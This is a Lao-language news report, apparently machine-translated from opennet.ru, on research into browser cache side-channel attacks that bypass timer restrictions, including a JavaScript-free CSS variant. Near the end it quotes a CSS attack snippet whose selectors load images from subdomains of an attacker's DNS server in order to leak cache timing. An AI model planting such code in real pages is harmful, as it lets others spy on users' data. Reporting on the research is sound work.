ການໂຈມຕີການສະກັດເອົາ cache ຂອງ CPU ປະຕິບັດຢູ່ໃນຕົວທ່ອງເວັບທີ່ບໍ່ມີ JavaScript

ທີມງານຂອງນັກຄົ້ນຄວ້າຈາກມະຫາວິທະຍາໄລອາເມລິກາ, Israeli ແລະອົດສະຕາລີຈໍານວນຫນຶ່ງໄດ້ພັດທະນາການໂຈມຕີສາມຄັ້ງທີ່ດໍາເນີນຢູ່ໃນຕົວທ່ອງເວັບເພື່ອສະກັດຂໍ້ມູນກ່ຽວກັບເນື້ອໃນຂອງ cache ຂອງໂປເຊດເຊີ. ວິທີການຫນຶ່ງເຮັດວຽກຢູ່ໃນຕົວທ່ອງເວັບທີ່ບໍ່ມີ JavaScript, ແລະອີກສອງວິທີທີ່ຈະຂ້າມວິທີການທີ່ມີການປ້ອງກັນການໂຈມຕີທາງຂ້າງ, ລວມທັງຕົວທີ່ໃຊ້ໃນຕົວທ່ອງເວັບ Tor ແລະ DeterFox. ລະຫັດສໍາລັບການສະແດງໃຫ້ເຫັນການໂຈມຕີ, ເຊັ່ນດຽວກັນກັບອົງປະກອບຂອງເຄື່ອງແມ່ຂ່າຍທີ່ຈໍາເປັນສໍາລັບການໂຈມຕີ, ໄດ້ຖືກຈັດພີມມາຢູ່ໃນ GitHub.

ເພື່ອວິເຄາະເນື້ອໃນຂອງແຄດ, ການໂຈມຕີທັງໝົດໃຊ້ວິທີການ Prime+Probe, ເຊິ່ງກ່ຽວຂ້ອງກັບການຕື່ມຂໍ້ມູນໃສ່ແຄດດ້ວຍຊຸດຄ່າມາດຕະຖານ ແລະກວດຫາການປ່ຽນແປງໂດຍການວັດແທກເວລາເຂົ້າເຖິງພວກມັນເມື່ອຕື່ມຂໍ້ມູນໃສ່. ເພື່ອຂ້າມກົນໄກຄວາມປອດໄພທີ່ມີຢູ່ໃນຕົວທ່ອງເວັບທີ່ຂັດຂວາງການວັດແທກເວລາທີ່ຖືກຕ້ອງ, ໃນສອງທາງເລືອກ, ການອຸທອນແມ່ນເຮັດກັບເຄື່ອງແມ່ຂ່າຍ DNS ຫຼື WebSocket ທີ່ຄວບຄຸມໂດຍຜູ້ໂຈມຕີ, ເຊິ່ງຮັກສາບັນທຶກເວລາຂອງຄໍາຮ້ອງຂໍທີ່ໄດ້ຮັບ. ໃນຫນຶ່ງ embodiment, ເວລາຕອບສະຫນອງ DNS ຄົງທີ່ຖືກນໍາໃຊ້ເປັນການອ້າງອິງເວລາ.

ການວັດແທກທີ່ເຮັດໂດຍໃຊ້ເຄື່ອງແມ່ຂ່າຍ DNS ຫຼື WebSocket ພາຍນອກ, ການນໍາໃຊ້ລະບົບການຈັດປະເພດໂດຍອີງໃສ່ການຮຽນຮູ້ຂອງເຄື່ອງຈັກ, ແມ່ນພຽງພໍທີ່ຈະຄາດຄະເນຄ່າທີ່ມີຄວາມຖືກຕ້ອງເຖິງ 98% ໃນສະຖານະການທີ່ເຫມາະສົມທີ່ສຸດ (ສະເລ່ຍ 80-90%). ວິທີການໂຈມຕີໄດ້ຖືກທົດສອບຢູ່ໃນແພລະຕະຟອມຮາດແວຕ່າງໆ (Intel, AMD Ryzen, Apple M1, Samsung Exynos) ແລະໄດ້ພິສູດວ່າເປັນແບບທົ່ວໄປ.

ຕົວແປທໍາອິດຂອງການໂຈມຕີ DNS Racing ໃຊ້ການປະຕິບັດແບບຄລາສສິກຂອງວິທີການ Prime+Probe ໂດຍໃຊ້ JavaScript arrays. ຄວາມແຕກຕ່າງທີ່ຕົ້ມລົງໄປກັບການໃຊ້ເຄື່ອງຈັບເວລາ DNS ພາຍນອກແລະຕົວຈັດການ onerror, ເຊິ່ງຖືກກະຕຸ້ນເມື່ອມີຄວາມພະຍາຍາມທີ່ຈະໂຫລດຮູບພາບຈາກໂດເມນທີ່ບໍ່ມີຢູ່. ຕົວຈັບເວລາພາຍນອກອະນຸຍາດໃຫ້ການໂຈມຕີ Prime+Probe ຢູ່ໃນຕົວທ່ອງເວັບທີ່ຈໍາກັດຫຼືປິດການເຂົ້າເຖິງຕົວຈັບເວລາ JavaScript.

ສໍາລັບເຄື່ອງແມ່ຂ່າຍ DNS ທີ່ຕັ້ງຢູ່ໃນເຄືອຂ່າຍ Ethernet ດຽວກັນ, ຄວາມຖືກຕ້ອງຂອງເຄື່ອງຈັບເວລາແມ່ນຄາດຄະເນປະມານ 2 ms, ເຊິ່ງພຽງພໍທີ່ຈະປະຕິບັດການໂຈມຕີທາງຂ້າງ (ສໍາລັບການປຽບທຽບ, ຄວາມຖືກຕ້ອງຂອງເຄື່ອງຈັບເວລາ JavaScript ມາດຕະຖານໃນ Tor Browser ແມ່ນ. ຫຼຸດລົງເຖິງ 100 ms). ສໍາລັບການໂຈມຕີ, ການຄວບຄຸມເຄື່ອງແມ່ຂ່າຍ DNS ແມ່ນບໍ່ຈໍາເປັນ, ເນື່ອງຈາກວ່າເວລາປະຕິບັດການດໍາເນີນການຖືກເລືອກເພື່ອໃຫ້ເວລາຕອບສະຫນອງຈາກ DNS ເປັນສັນຍານຂອງການສໍາເລັດການກວດສອບກ່ອນຫນ້ານີ້ (ຂຶ້ນກັບວ່າຕົວຈັດການຄວາມຜິດພາດຖືກກະຕຸ້ນ. ກ່ອນ​ຫນ້າ​ນີ້​ຫຼື​ຫຼັງ​ຈາກ​ນັ້ນ​, ການ​ສະ​ຫຼຸບ​ແມ່ນ​ກ່ຽວ​ກັບ​ຄວາມ​ໄວ​ຂອງ​ການ​ດໍາ​ເນີນ​ງານ​ການ​ກວດ​ສອບ​ທີ່​ມີ​ຖານ​ຄວາມ​ຈໍາ​)​.

ວິທີການໂຈມຕີທີສອງ, "String and Sock", ມີຈຸດປະສົງເພື່ອຂ້າມເຕັກນິກຄວາມປອດໄພທີ່ຈໍາກັດການນໍາໃຊ້ລະດັບຕ່ໍາຂອງ array ໃນ JavaScript. ແທນທີ່ຈະເປັນ arrays, String ແລະ Sock ໃຊ້ການດໍາເນີນງານໃນສາຍທີ່ມີຂະຫນາດໃຫຍ່ຫຼາຍ, ຂະຫນາດທີ່ຖືກເລືອກເພື່ອໃຫ້ຕົວແປກວມເອົາແຄດ LLC ທັງຫມົດ (ແຄດລະດັບສຸດທ້າຍ). ຕໍ່ໄປ, ໂດຍໃຊ້ຟັງຊັນ indexOf(), ສາຍຍ່ອຍນ້ອຍຖືກຄົ້ນຫາຢູ່ໃນສະຕຣິງ, ເຊິ່ງໃນເບື້ອງຕົ້ນແມ່ນບໍ່ມີຢູ່ໃນສະຕຣິງແຫຼ່ງ, i.e. ການປະຕິບັດການຄົ້ນຫາສົ່ງຜົນໃຫ້ iterating ໃນໄລຍະທັງຫມົດ string. ເນື່ອງຈາກຂະຫນາດເສັ້ນກົງກັບຂະຫນາດຂອງ cache LLC, ການສະແກນຊ່ວຍໃຫ້ທ່ານສາມາດດໍາເນີນການກວດສອບ cache ໂດຍບໍ່ມີການຈັດການ arrays. ເພື່ອວັດແທກຄວາມລ່າຊ້າ, ແທນທີ່ຈະເປັນ DNS, ໂທຫາເຄື່ອງແມ່ຂ່າຍ WebSocket ທີ່ຖືກຄວບຄຸມໂດຍຜູ້ໂຈມຕີ - ກ່ອນແລະຫຼັງຈາກການດໍາເນີນງານຄົ້ນຫາສໍາເລັດ, ຄໍາຖາມຖືກສົ່ງໃນແຖວ, ໂດຍອີງໃສ່ທີ່ເຄື່ອງແມ່ຂ່າຍຄິດໄລ່ຄວາມລ່າຊ້າທີ່ໃຊ້ໃນການວິເຄາະ cache. ເນື້ອໃນ.

ຕົວແປທີສາມຂອງການໂຈມຕີ "CSS PP0" ແມ່ນຖືກປະຕິບັດຜ່ານ HTML ແລະ CSS, ແລະສາມາດເຮັດວຽກຢູ່ໃນຕົວທ່ອງເວັບທີ່ປິດການໃຊ້ງານ JavaScript. ວິທີການແມ່ນຄ້າຍຄືກັນກັບ "String and Sock", ແຕ່ບໍ່ໄດ້ຜູກມັດກັບ JavaScript. ໃນລະຫວ່າງການໂຈມຕີ, ຊຸດຂອງຕົວເລືອກ CSS ຖືກສ້າງຂື້ນໂດຍການຄົ້ນຫາຫນ້າກາກ. ສະຕຣິງຂະຫນາດໃຫຍ່ເບື້ອງຕົ້ນທີ່ຕື່ມຂໍ້ມູນໃສ່ແຄດແມ່ນຖືກກໍານົດໂດຍການສ້າງແທໍກ div ທີ່ມີຊື່ຫ້ອງຮຽນຂະຫນາດໃຫຍ່ຫຼາຍ. ພາຍໃນມີຊຸດຂອງ divs ອື່ນໆທີ່ມີຕົວລະບຸຂອງຕົນເອງ. ແຕ່ລະ divs ທີ່ຖືກຊ້ອນກັນເຫຼົ່ານີ້ມີຮູບແບບຂອງຕົນເອງດ້ວຍຕົວເລືອກທີ່ຄົ້ນຫາສໍາລັບ substring. ເມື່ອສະແດງຫນ້າ, ຕົວທ່ອງເວັບທໍາອິດພະຍາຍາມປຸງແຕ່ງ divs ພາຍໃນ, ເຊິ່ງເຮັດໃຫ້ການຄົ້ນຫາໃນແຖວໃຫຍ່. ການຄົ້ນຫາແມ່ນດໍາເນີນການໂດຍໃຊ້ຫນ້າກາກທີ່ຂາດຫາຍໄປໂດຍເຈດຕະນາແລະນໍາໄປສູ່ການ iterating ທົ່ວເສັ້ນທັງຫມົດ, ຫຼັງຈາກນັ້ນສະພາບການ "ບໍ່" ໄດ້ຖືກກະຕຸ້ນແລະມີຄວາມພະຍາຍາມທີ່ຈະໂຫລດຮູບພາບພື້ນຫລັງທີ່ອ້າງອີງເຖິງໂດເມນແບບສຸ່ມ: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

ໂດເມນຍ່ອຍແມ່ນໃຫ້ບໍລິການໂດຍເຄື່ອງແມ່ຂ່າຍ DNS ຂອງຜູ້ໂຈມຕີ, ເຊິ່ງສາມາດວັດແທກຄວາມລ່າຊ້າໃນການຮັບຄໍາຮ້ອງຂໍ. ເຊີບເວີ DNS ອອກ NXDOMAIN ສໍາລັບທຸກຄໍາຮ້ອງຂໍແລະຮັກສາບັນທຶກເວລາທີ່ແນ່ນອນຂອງການຮ້ອງຂໍ. ເປັນຜົນມາຈາກການປະມວນຜົນຊຸດຂອງ divs, ເຄື່ອງແມ່ຂ່າຍ DNS ຂອງຜູ້ໂຈມຕີໄດ້ຮັບຊຸດຄໍາຮ້ອງຂໍ, ຄວາມລ່າຊ້າລະຫວ່າງທີ່ພົວພັນກັບຜົນຂອງການກວດສອບເນື້ອໃນ cache.

ແຫຼ່ງຂໍ້ມູນ: opennet.ru